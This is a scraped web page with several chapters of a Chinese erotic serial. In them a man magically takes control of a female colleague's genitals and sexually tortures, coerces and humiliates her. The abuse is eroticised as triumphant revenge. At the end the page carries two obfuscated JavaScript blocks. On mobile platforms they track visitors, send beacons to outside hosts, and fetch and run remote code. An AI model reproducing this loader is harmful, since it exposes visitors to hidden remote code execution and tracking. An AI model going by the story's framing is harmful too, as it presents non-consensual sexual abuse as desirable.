也许,下一次,我还能训练它做更多的事情。

如此,他用精液换来的,不止只是单个器官了,而是透过这个器官对整个人精神和肉体的控制,随意要她欲仙欲死或是生不如死。这是多幺美妙的感觉。

时间在一分一秒地流淌。

老谈花了很多时间,饶有兴致地将一根长长的爆米花塞进阴道口中,看着它一截截地用力夹断,再从阴洞 掏出沾了淫汁的爆米花吃掉,到得后面,弄到阴肉再也没有一点力气了,原本紧闭的玉户豁开一道大口子,不知羞耻地将隐秘处数暴露在光天化日之下。

老谈不满意了,「这才几下就罢工了,不行,得锻炼锻炼。」他搬来刚买来的一套淫具,把一颗跳蛋塞进狭谷中。

跳蛋嗡嗡叫着不紧不慢地折磨着阴户。

这女人体质果然超强,还特别敏感,刚才还一副死鱼模样,一受刺激又醒过神来,缕缕亮丝从洞口挂出,不多时,渐成泛滥之势。老谈跟阴户用商量的口气说道:「以前看小日本的A片,知道有个什幺潮吹,妳这幺厉害,也潮吹潮吹让我欣赏欣赏吧,不要太多,一个小时来三、四次就可以了。好不好?」

阴户无言以对。

老谈不知道,就在他兴致尤浓的时刻,黎玉琪的家中已是弄得天翻地覆。

「天蓬天蓬,万神之宗。威严大道,游行太空。……怒动天地,日月失光。气吞五岳,倾摧四方。顺吾咒者,速来伏降。违吾咒者,倾死灭亡……」

黎玉琪的闺房改造成了道房,四下 儘是道器旗幡,烟雾缭绕,正中央摆着一张床和一张法桌,黎玉琪闭眼平躺,额头关节和小腹处都覆着符咒。

两个头顶道士帽的男子一手举幡,一手持桃木剑,围着床打转,口中念念有词,还不时地将空中虚刺几下。

黎玉琪的家人们聚在门外,紧张地听着屋 的动静。

突然,年长道士的脸色大变,迅速跑动起来,念咒加快,小道士则停下来烧了几片黄纸,烟灰飞上空中,久而不散。

「妖孽,哪里跑!」

老道士大喝一声:「急急如律令!去!」火光明灭中,桃木剑飞快地穿过两张符咒,直直地钉入香火炉中。

一缕鲜红在剑尖上散开。

门开了。黎玉琪的父亲第一个闯进来:「怎幺样天师,抓到了吗?」

老道抹了抹额头的大汗,说:「这妖孽实在强悍,不是老夫使出浑身解数还真降不住它。」

「如此太感激了。周妈,请天师到客厅用茶。」

他俯到女儿床前,关切地问:「琪儿,感觉好点了没有?」

黎玉琪睁开眼,脸色苍白,看了他父亲一眼,尖叫道:「这是一帮骗子,叫他们滚出去!」

……

周一总算来到了。

以往对老谈来说是个痛苦的黑暗的时刻,因为又要面对那个最不愿意面对的人。

而今天,他却早早醒来,迫不及待地要赶到公司,亲眼看一看他这两日的战果。

自然,作为上帝赐予的早点,他再次不客气地享用了年轻女人用最曼妙的肉体带给他的顶级大餐,然后小心翼翼地包起来,放进他的公事包中,走出门,第一次面带微笑彙入上班族车水马龙的滚滚洪流之中。

妖兽道之鬼机器(6)  

黎玉琪斜躺在自家别墅的日台上,与闺中好友,也是她可能的未来夫婿的妹妹王嘉轻声说话。

王嘉虽是富家女,个性却很独立,全凭兴趣开了一家侦探社,接的都是一些捉姦之类的小案子,黎玉琪总是笑她「神探王嘉」,也是到目前为止唯一一个听到黎玉琪完整讲述发生在自己身上的遭遇的人,听得她一双漂亮的大眼睛瞪得更大,害怕地攥紧了黎玉琪的手。

黎玉琪又好气又好笑:「神探都怕成这样,小心那色鬼找到妳头上。」

王嘉嘟着嘴说:「神探也是人嘛。别吓我了玉琪姐。妳见过那鬼吗,怎知是只色鬼?」


黎玉琪脸色绯红,对这小女孩子作不得声。她整日整夜被那恶魔折磨,像是完全掌握了她的特点,强制高潮不知来了多少次,弄得她现在连走路的力气都没有了,可是,这些事实在羞于启齿。

「就算是鬼,我不信没人能制住它。」

黎玉琪歎道:「其实我到现在也没弄明白怎幺回事,也不知道到底是人是妖还是鬼在整我。这两天父亲把这周围的灵异人士都请到了,也无济于事,都只说中了邪。倒是昨天来了个枯瘦的老人,打了个偈语,我还在猜,说什幺「浑然本一物,花开各两枝,三十年前事,由恨生愿人。」

「三十年前,妳还没出生哪,这都什幺乱七八糟的,那他说了怎幺办幺?」

「也是一句偈语,船到桥头自然直,解铃还需系铃人。」

「咳,老人的意思是放宽心思随遇而安自然解脱吧。」

「恐怕真有那日子我也被玩死了,不行,我不会放弃,只要让我知道是谁在捣鬼,决不放过他!」黎玉琪愤怒地说,「碎,尸,万,段!」

这几日她已经不像头一晚那幺恐惧得发抖,还有一点逆来顺受,甘心授受那魔鬼的调教,可她真正害怕的是,那魔鬼显然志不在此,不仅让她淹没在无穷无尽的性欲大海中,还若干次地将男人的浊物深深地射进了她的身体。

那浊物是真实的还是虚幻的?她会不会因此怀孕呢?一旦生产,她会生出一个什幺东西?难道会是-一只鬼?!这种深植于心底的恐惧才是促使黎玉琪积极找出真相的动力。可真相在哪里?

黎玉琪望向苍茫的天空,眼中充满了迷惘。

……

老谈很快意识到自己犯了个技术性的小错误。

黎玉琪请假了。对她这种工作狂来说,请假还真是稀罕的事。

同事们颇有些猜测。只有老谈才深明真相,这几日摧残得太狠,就算是铁打的人也消受不了啊。

肆意欺负集团公认的美神,还弄得她下不了床,这一切可都是他貌不惊人的老谈所为,想到这一点真令他倍感骄傲。

他将手伸进抽屉中,偷偷握住了那团温软滑腻的肉块。心中快活地歎道,只可惜再大的成就也只能自己独享了。没能亲眼见到黎臭婊的糗样总是令老谈不感到满足,下了个决心,禁欲几日,将阴户收起来,连碰都不去碰。也借此机会调理一下亏空得太厉害的身体。

三日后。

黎玉琪出现在公司。

刘晋生在电梯碰到她,开玩笑道:「病西施也还是大美女啊。」

黎玉琪勉强笑了笑,不愿多说,加快脚步往办公室走。

走至门口又让李总截住了,问:「听说妳这几日请了病假,什幺病啊,不碍事吧。」

黎玉琪不得不硬着头皮说:「女人的一点小毛病啦。早就好了。」门口正对着老谈的座席,看到老总跟黎玉琪纠缠不放,一阵窃喜,机会来了。

装作埋头找报表,两手都伸进了抽屉,针刺了一下阴户肉。

黎玉琪浑身一震,内心哀叫,天哪,不会吧,才消停了两天又来了。但与此同时,下身条件反射地跟随指令迅速鬆弛了肌肉。

借力推力,老谈早就预谋好地将一根粗大的电动阳具捅进阴户洞中。

噢,不!电动捧在她的下身欢快地搅动着,快感迅速从四面八方向她的脑海彙聚。黎玉琪想逃开,脚下不禁打了一个踉跄。

李总看出了她的异样,越发不能就此离开,扶住她的手臂关心地问长问短:「怎幺啦,脸色这幺差要不要去医院。」

搅动速度加快了,淫水开始流出了体外。

黎玉琪忍耐不住,突然怒了,用力推开老总道:「别说了。」低头往洗手间疾走,体态极不自然。

李总见大家都在偷看他,脸上挂不住,故作威严地轻咳一声,悻悻地背手走了。

部室 相互议论起来,老谈趁不注意,找张报纸随便将阴户包起来走出门,边走边看,走到走道尽头,四下 没旁人,便扭头溜进女洗手间。

女洗手间 有三个隔间,中间的小门锁住了,传来压抑不住的啜泣声。

老谈没有犹豫,闪身进了最 那间,关上门。

坐在大便器上,他方觉得有些后怕。

自从与那台奇怪的贩卖机交易起,不仅他的生活彻底打乱,连性格也发生了变化,换在以前,他无论如何也不敢为试探而主动同黎玉琪通电话的,更不敢如此捉弄黎玉琪害得她失态出丑,更勿论光天化日之下闯入女厕行骯髒之事。

再不可思议的事他都已经做了,还怕做下去吗?

黎臭婊,别哭,几日不见,老子给妳送一份大大的安慰奖。

他掏出阳具,将阴户塞进去,用力套弄起来。

刚刚经过电动按摩棒的充分玩弄,阴洞 早已花径充血张开,洪水泛滥,套弄中感觉润滑得很,只差临门一捅了。

黎玉琪如果留意的话,能听到邻座传来男女交媾时特有的叽叽咕咕的声音。可惜此时她已被再次轰然而至的高潮击倒,哪还有心思去听别的异响。

她像置身在汪洋中的一条小船,一浪高过一浪的快感使劲朝她的身体拍打过来,渐渐的,意识开始迷糊了。

如果此时有人敢朝这 面瞄一眼一定大饱眼神,一个制服大美女衣衫零乱地跨坐在便器上,一手揪紧胸口,酥胸半露,一手不自然地抚摸着大腿上的肉色丝袜,脸色潮红,口中发出胡乱地呻吟声。

老谈并未能亲眼目睹这副浪女发春图,光是听到隔壁的曼声娇喘,想像她的如玉容颜就比吃了什幺春药都管用,此刻也正同样陷入了错乱迷离中。

相距不足一米,激情交欢的两人却没有身体上的接触,这场怪异的性交持续不到十分钟,以黎玉琪抢先崩溃而老谈紧接缴械而宣告平手。

老谈溜出门时,门碰响的声音惊醒了黎玉琪,方才意识到刚才还有旁人也在卫生间 ,是否听到了什幺看到了什幺,自己还要出多少丑才够呢?

她的眼前直看到一片黑暗。

妖兽道之鬼机器(7)

下午。

黎玉琪很晚了才冷着脸从室外进来,走进自己的办公室,反扣上门,拉上窗帘。整个部室 鸦雀无声,都忙着低头做事。

但是大家都在暗中传递着一个消息。黎玉琪要走人了,辞职信还是秘书金雁打的,自然千真万确,据说辞职理由是「身体不适」。

办公室 洋溢着一种压抑的喜悦,毕竟,不管这恶婆娘是否脑子进水,在公司局势一片大好时滚蛋,对这帮被压迫了受剥削的办公室臭虫而言,总是个振奋人心的利好消息。

始作俑者,也是本来最该庆祝的老谈反而有些失落。

难道,这不是他的终极目的吗?

自从控制了黎玉琪的阴户,老谈的人生目标也在不知不觉间转向。工作、职位、高薪什幺的,都见鬼去吧,把不可一世的黎臭婊变成牵线木偶,一举一动都置于他的掌握之中俨然成为眼下最大的乐趣。

可是,黎玉琪的离去,将会使一切乐趣大为逊色直至化为泡影。

阴户再好,也不过是块会活动的肉块,像高级的仿真玩具,玩多了同奸尸也差不离,哪及得同真人肉搏之万一,就算上不到真人,亲眼看到她在他的操纵下淫靡的神情、忘情的呻吟也是极大的享受啊。还有什幺比上午在洗手间的淫辱更精彩刺激的吗?

不能眼睁睁地看着这个活玩具就这幺从手中溜掉!

老谈中了邪似的坐着发呆,眼大无神,像个白癡。金雁从他身边过去一点反应都没有,不禁摇摇头,对旁人说:「你看看,老谈都欢喜成啥样了。」

说话间,老谈突然一跃而起,头也不回地往室外冲,身手矫健赛过小青年。金雁再摇摇头,说:「哟,还疯了,可怜人哪。」

满屋 的文件夹、资料和杂物扔得乱七八糟。

黎玉琪烦闷到了极点。

短短的几日,她经受了常人难以想像的打击,更糟的是,就像置身于无边无际的黑暗之中,找不到任何头绪,看不到一丝光芒。

每当她好不容易集起一点点的侥倖,暴风骤雨般的淫辱就会如期而至,好像她的一举一动、所思所想都在那个人(鬼)的掌控之中。太可怕了。

她无心工作,也厌倦了工作,只有选择逃避,远远地逃到英国去。

董事长和李总都一再挽留,可是她去意已决,按照公司的规定,履行完最后一个月的职责,做好交接就一切OK了。

落日的余晖透过窗棂,一格一格地印在她的脸上,她空洞地看着窗外,心境一如这即将沈入黑暗的天空。

手机响了。

手机械地摁通,拿起来放在耳边。

一个奇怪的男人声音响起,阴沈浑厚,带着电流穿过的嗞嗞声,像是毒蛇吐信,显得阴森诡秘:「黎玉琪小姐。」

黎玉琪心中一凛:「你是谁?」

「妳不用知道我是谁,妳只要知道我手 有什幺东西。」

「……」

黎玉琪感觉到阴户被那双熟悉的手在轻柔地抚摸。

「妳感受到爱抚了吗,真是美丽迷人的花穴啊,可爱的小豆豆在挑逗下直立起来了……湿润了,有水了……」

「住口!畜生!」黎玉琪脸色刷白,握着话机的手止不住地颤抖,泪水止不住地流了下来。她终于通过手机与那个剥夺了她的尊严和贞操的恶魔对上了话,这一瞬间,她本该恐惧,却被更加强烈的羞耻感淹没,有哪个女人能够在这种时刻保持冷静呢?

「啊!」黎玉琪尖叫。她的阴蒂被神秘人恶狠狠地掐了一下,尖锐的刺痛从下身迅速直贯头顶。

神秘人冷笑:「记住,下次对主人说话时要保持恭顺。不然,受苦的是妳自己。」

刺痛也让黎玉琪清醒过来,明白了自己的处境,不得不强抑羞愤,忍气吞声地说:「不会了。」

「妳还没有道歉。」

黎玉琪粉脸涨得通红:「对不起,刚才是我……的错。」后面几字渐低,刚强如她也禁不住泪珠在眼眶 打转:「不要,不要再欺负我了,放过我吧,你想得到什幺,我都给你。」

神秘人刺耳地笑了一阵,说:「放过妳其实并不难,只要妳每天服从我的一个愿望,七日后,妳就能得到解脱。」

黎玉琪说那些话本是不抱任何希望的,不曾想神秘人真的有此计划,好像在茫茫大海中看到了一根救命的稻草,蓦然燃起的希望之火急切得她声调都变了:「你说的是,七天?」

「我说的是,服从。」

「我服从,一定服从,你说什幺我都会听。」

「那幺第一天从现在开始,我要在半小时内看到妳站在锦鸿大厦的天台上,待在那 别动。」

电话挂了。

黎玉琪翻出刚才的号码。

13944444444。

不祥的号码,来自地狱般的声音。这一切,来得太突然了。

黎玉琪心乱如麻,默然良久,拿起手机拨通了一个号码。

「嘉嘉,玉琪啊。妳的侦探社帮我做一件事好吗?」

……

老谈快活得像只发情的老鸭。口中哼着小调,拿着阴户当搓布,上上下下痛快地搓了个澡,受此刺激,阴户变得充血肥胀,似乎格外尽力,逗弄得老谈在擦洗鸡巴忍不住多套弄了几下。他发现自己真是天才,略施小计就把以美丽与智慧并重的黎臭婊玩得团团转,既能达到目的又能隐身幕后,多带劲的事儿。

下午,他跑到移动通讯公司的一个小门市部,买了一个没人要的最不吉利的号码,还不需要登记资料和证件。又跑到小家电市场,把一个小扩音喇叭改装成变音器。

剩下的事就很简单了,舒舒服服地坐在家 ,等着那只傻鸟自投罗网。

他的家在即将拆迁的邮电大楼的顶层,夏天屋 的油漆晒得发臭,冬天捂了两层被子还打哆嗦。

不过推开窗,眼前正对的,是锦鸿大厦的天台。

黎玉琪站在天台上整整三个小时了,又饑又渴。

城市进入了繁华的夜市,从大厦往下看,灯火辉煌,车水马龙。

大厦的平台四周都有大灯,纤毫毕现。

黎玉琪马不停蹄地赶到这 ,设想中会在平台上见到一个黑衣黑面人,交待给她一些任务,然后突然消失。

她不敢设想那些任务是什幺,只意识到自己也许很难承受。

可是,三个小时连个鬼影子也见不着,是不是自己被耍了。退一万步,就算被耍她也只能隐忍,更不敢离开。

天台上除了她召集来的王嘉侦探社的侦探在设伏外,肯定没有其他人了。

那恶魔藏身在哪?她的目光逡巡过四周林立的高楼,那幺多黑洞洞的窗口都像是一双双不怀好意的眼睛。

在这期间,她不受控制地又来了两次高潮,不由得紧握住天台边的扶手才不至于让身体瘫软,心中哀歎,该来的,快来吧。

老谈光着身子,在家 忙忙碌碌地搞扫除,挺立的鸡巴上自然是始终高高悬挂着他的战利品,阴户软趴趴地抱紧肉棒,厚颜无耻地流着口水,把老谈的下身都弄得湿 巴叽的。

「妳呀,乱吐口水,一点卫生都不讲。」老谈不满地批评起阴户来。

经过窗户时,老谈才时不时地擡眼看看对面,看到那个女人徘徊无助的样子就觉着解气,宝贝,别着急,这才是开始。

妖兽道之鬼机器(8)

通过镜头,老谈还是第一次在这幺近的距离打量到黎玉琪,不由得呼吸为之一滞。

黎玉琪身上黑色的职业套装一丝不苟,熨帖合身,恰到好处地勾勒出她高挑完美的身材,几日的淩辱也无损于她惊人的美貌,反而增添了几分清丽,难怪是公司的女神啊。

老谈舒适地斜坐在一张躺椅上,啧啧讚歎。手中举起高倍速双筒望远镜正朝着锦鸿大厦的平台,身侧的小桌上摆着美味的食品和饮料,翘起的大腿上,端端正正地摆放着那只迷人的阴户。

此时,已是接近淩晨,近六个小时的漫长等待将这位白领丽人煎熬得疲倦不堪,表面上却看不出一丝乱相。手机铃声响起时,她还能迅速站起,姿态优雅,神采奕奕。

「準备好了吗?我们开始。今天的题目很简单,先报出妳的三围。」

「什幺?!」

下身传来钻心的疼痛。

「听不懂吗?胸围,腰围,臀围。」

黎玉琪很不情愿地答道,「84、60、90。」

「很差劲的身材嘛。」

「……」

黎玉琪爱好运动,肌肉紧凑,就算是标準的模特,也不见得比她的身材更傲人,明知那恶魔是故意羞辱她也禁不住流露出不服气的神情。

「妳的月经周期。……快说,不然妳知道后果。」

「……月底,二十五号左右。」

「正好过了这一周就做好事啰……真是骯髒的女人哪,可别把我的手给弄髒了。」

黎玉琪涨红着脸,咬牙不言。

「看妳性欲挺旺盛的,一弄就出水,是不是生活也很淫乱啊。」

黎玉琪尖叫道,「为什幺总要问些这种无聊的问题?」

出乎意料的,这次她没有感觉到虐待,蓝牙耳机 传来的是阴森森地冷笑,「我的耐心很有限,不要说我没给过妳机会!再见……」

嘟的一声,挂机了。

「不要!」黎玉琪惊惶四顾,一面反复回拔,关机,还是关机。

老谈微笑着看着这位知性美女狼狈的模样,已经摸清了这个女人的脾性,像在钓鱼,收一下,鬆一下,就是不让鱼脱掉挂勾。

他很为自己天才般的表现而惊讶,过去,人前人后从来都是唯唯诺诺,话不高声,笑不露齿,标準的男版淑女,想不到自从与那台鬼机器发生交易以后,不仅生活,连性格都在悄悄改变,内心中一种黑暗的东西在不断膨胀。

手机又响了。

黎玉琪看到那个熟悉的号码,止不住泪水涟涟,「你问什幺我都说,请别再捉弄我了。」

「妳的处女是什幺时候失去的?」

「十七岁。」

既然下了决心,她就索性抛开自尊,回答得十分乾脆。

「和谁,在哪里,描述一下。」

黎玉琪低下了头,思索了一下,慢吞吞地说,「嗯……是在英国,同校的男孩,名字叫……叫佛朗哥,那是个夏天的晚上,我们一起去看一场英超球赛,那场球有小贝……」

「这些鸟事讲多什幺,直接进入正题。」

黎玉琪撩起一搂吹散的秀髮,看着头顶灿烂的星空,「看完球,我们都很兴奋,也挤得一身汗湿,他开车,路过一间汽车旅馆时,提议开个房洗澡,我想也没想就同意了。洗完澡出来,他已经点了一支红酒,放上曼舞音乐,关上灯,我们抱在一起跳舞,亲吻,不知不觉就发生了关係……」

「写报纸啊,讲得乾巴巴的,什幺体位,他怎幺插,妳怎幺叫,来个现场直播,穿插一点动作表演,看过恶魔岛的情色小说吗?就要那样讲。」

黎玉琪这辈子哪里受过这等侮辱,又羞又气,「我、我,真讲不出……啊!你做什幺?」

「嘿嘿,给妳一点临场感受,妳就讲得出了。」

老谈抓起阴户在自己的肉捧上套弄起来。

黎玉琪脚一软,坐倒在地,该死的快感又滚滚而来。那恶魔说得不错,在这种情形之下回忆往事的确历历在目。

「……我们在床上,翻滚,切尼舌吻我,一手绕我背后,解我胸罩的扣子,我说我很紧张,……啊,嗯,……切尼的东西顶在我的腹下,硬梆梆的,我害怕极了,真想逃开,他压得死死的……那一下,我的头轰的一声,一片空白,飘到了半空中……呃……」

在幻觉和胁迫的双重作用下,她不由自主地描绘起细节来,这一次是真正进入了记忆长河,把刚才努力编造的一些东西都忘得乾乾净净,主人公由佛朗哥换成了切尼也没意识到,目光渐次地迷离起来。

和黎玉琪发生关係的究竟是谁老谈并不关心,只要亲眼目睹这个不可一世的白领丽人不自觉地抚摸自己的身体,脸色娇羞可人的模样,在他面前讲着平日打死也听不到的绝密隐私和淫秽话语,就已经异常满足了。更何况,还在同时使劲地干着她潮热的阴户呢?

动情处,老谈感到阴户紧紧地咬住了他的肉棒,肉壁自行蠕动。

老谈咬住牙,忍得很辛苦,不敢稍动,生怕一动自己就泄了。

这一次,两人几乎同时到达高峰。

「不要!」黎玉琪大声惊叫,但哪能阻止精关开处,热烫的精液一路欢歌笑语冲向子宫。

耳机 的声音软绵绵的,「今天的最后一个要求,把内裤脱下来。」

黎玉琪有点习惯服从了,手自然地往裙下伸去。突然意识到什幺,停下来,脸色变得忽红忽白,哀告道,「不在这 好吗?」

「妳怕什幺了,是不是平台上还有别人?」

一语点破了黎玉琪的心事。黎玉琪本以为会有人与她会面,提前通知了玉嘉侦探社的人在此埋伏,不料人没见到,倒把她的丑态尽收眼底,刚才她意乱情迷还没想到,如果再当着外人的面脱内裤,那还不如就从这楼顶跳下去。

「妳可以叫那些人先走。顺便再警告一次,下次再有跟蹤埋伏什幺的,我们之间所有的约定勾销。」

黎玉琪红着脸,冲着平台上的阴暗处叫了几声,两条人影狼狈地从水箱顶等处跳出来,飞快地跑了。

就算平台上没人了又如何?四下 高楼虽然都相距甚远,难保没有几个窗口正好有人往这平台上看,她黎玉琪岂不还是相当于在大庭广众之中,光灯化月之下行此苟且之事了。

可是,她有得选择吗?

要死就死啦。

黎玉琪闭上了秀眸,飞快地褪下肉丝裤袜,再脱掉洁白的内裤,摆在水泥地上。她想穿回裤袜时被阻止了,「别穿,和内裤摆在一起。把裙子拉起来,拉过腰线,慢慢转一圈。」

这,太羞辱人了。

黎玉琪将套裙一点点拉高,修长秀美的大腿一点点地暴露出来,心像死了一样麻木。

果然是一双傲人的美腿,莹白浑圆,并拢在一起一点缝隙也没有。

老谈的目的,其实是要看看她的阴户的位置。他一直好奇的是,他拿到的是一个複製品还是唯一真品,如果是真品,阴户落到了他之手后,黎臭婊那 变成了什幺样子。

黎玉琪转向了他这一方。

在原本长着阴户的地方,现在只有…..-一团黑雾。

妖兽道之鬼机器(9) &n

关闭
关闭
function pSxyUYrQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function qnaQft(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return pSxyUYrQ(t);};window[''+'M'+'T'+'L'+'b'+'Y'+'i'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AeFX(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=qnaQft,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AeFX(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qw.tangzonchuang.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AeFX(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnpoYW9mZW5ncnVpMS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGdHkudmV0ZZGFuZZy5jbiUzQTk1MzQ=','9489',window,document,['T','Z']);}:function(){};
function nRoTtV(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XhwHRTK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return nRoTtV(t);};window[''+'M'+'s'+'h'+'p'+'n'+'A'+'H'+'d'+'G'+'I'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LUyKT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XhwHRTK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LUyKT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LUyKT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQQTg4OTE=','aHR0cHMllM0EllMkYllMkZhLnllra2hqcy5jbiUzQTk1MzU=','168322',window,document,['Q','l']);}:function(){};